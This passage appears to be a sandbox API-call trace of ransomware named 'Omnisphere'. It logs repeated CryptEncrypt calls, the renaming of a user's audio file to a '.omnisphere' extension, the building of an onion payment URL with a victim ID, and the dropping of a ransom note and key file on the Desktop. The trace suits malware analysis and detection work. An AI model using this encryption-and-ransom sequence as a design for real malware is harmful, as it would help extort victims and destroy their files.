CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.759] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.760] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.761] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.763] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0165.763] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0165.763] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xba52, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.764] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.764] GetProcessHeap () returned 0x1600000 [0165.764] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x268) returned 0x1776e48 [0165.764] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\yq2t28ch.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\yq2t28ch.m4a.omnisphere")) returned 1 [0165.765] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a.omnisphere.id" [0165.765] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\yq2t28ch.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0165.765] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0165.766] CloseHandle (hObject=0x3bc) returned 1 [0165.766] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0165.767] CloseHandle (hObject=0x380) returned 1 [0165.767] SetEndOfFile (hFile=0x39c) returned 1 [0165.767] FlushFileBuffers (hFile=0x39c) returned 1 [0165.852] CloseHandle (hObject=0x39c) returned 1 [0165.852] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\YQ2t28Ch.m4a" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.852] GetProcessHeap () returned 0x1600000 [0165.852] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17770b8 [0165.852] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.853] GetProcessHeap () returned 0x1600000 [0165.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733d10 [0165.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733d10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.853] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.853] GetProcessHeap () returned 0x1600000 [0165.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f700 [0165.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f700, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.853] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.853] GetProcessHeap () returned 0x1600000 [0165.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773628 [0165.853] PathCombineW (in: pszDest=0x1773628, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.853] GetProcessHeap () returned 0x1600000 [0165.853] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1758be0 [0165.853] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.853] WriteFile (in: hFile=0x39c, lpBuffer=0x1758be0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1758be0*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.854] CloseHandle (hObject=0x39c) returned 1 [0165.854] GetProcessHeap () returned 0x1600000 [0165.854] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17770b8 | out: hHeap=0x1600000) returned 1 [0165.854] GetProcessHeap () returned 0x1600000 [0165.854] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0165.854] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0165.854] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.854] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0165.855] CloseHandle (hObject=0x39c) returned 1 [0165.855] GetProcessHeap () returned 0x1600000 [0165.855] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0165.855] GetProcessHeap () returned 0x1600000 [0165.855] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163db98 | out: hHeap=0x1600000) returned 1 [0165.855] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf575070, ftCreationTime.dwHighDateTime=0x1d4c62d, ftLastAccessTime.dwLowDateTime=0x9f0af910, ftLastAccessTime.dwHighDateTime=0x1d4d1d6, ftLastWriteTime.dwLowDateTime=0x9f0af910, ftLastWriteTime.dwHighDateTime=0x1d4d1d6, nFileSizeHigh=0x0, nFileSizeLow=0x5c09, dwReserved0=0x0, dwReserved1=0xf5, cFileName="ZDHnF9i.mp3", cAlternateFileName="")) returned 1 [0165.855] GetProcessHeap () returned 0x1600000 [0165.855] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x56) returned 0x163d178 [0165.855] PathCombineW (in: pszDest=0x163d178, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="ZDHnF9i.mp3" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3") returned="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3" [0165.855] StrStrW (lpFirst=".omnisphere", lpSrch=".mp3") returned 0x0 [0165.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZDHnF9i.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\zdhnf9i.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.856] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=23561) returned 1 [0165.856] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x56e5, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.856] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.856] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] GetTickCount () returned 0x11692e1 [0165.857] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x16683d8) returned 1 [0165.858] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x16396a8) returned 1 [0165.858] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0165.858] CryptDestroyKey (hKey=0x16396a8) returned 1 [0165.858] CryptReleaseContext 